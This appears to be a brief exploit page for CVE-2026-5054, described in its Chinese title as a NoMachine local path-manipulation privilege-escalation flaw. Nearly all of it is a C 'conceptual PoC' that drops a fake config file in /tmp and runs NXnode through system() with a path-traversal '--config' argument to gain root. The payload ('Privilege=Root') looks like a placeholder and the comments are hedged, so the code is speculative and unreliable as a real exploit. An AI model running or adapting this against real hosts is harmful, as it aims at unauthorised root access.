CVE-2026-5054 NoMachine本地路径操控权限提升漏洞

#include <stdio.h> #include <stdlib.h> // Conceptual PoC for CVE-2026-5054 // Exploits lack of path validation in command line arguments int main() { // 1. Create a malicious payload file FILE *fp = fopen("/tmp/malicious_payload.txt", "w"); if (fp) { fprintf(fp, "[Malicious Config]\nPrivilege=Root"); fclose(fp); } // 2. Construct the path traversal payload // The vulnerable app takes a config path argument char *exploit_cmd = "/usr/bin/NXnode --config ../../../tmp/malicious_payload.txt"; // 3. Execute the command // If NXnode runs as root and uses the path insecurely, the malicious file is loaded/written. system(exploit_cmd); return 0; }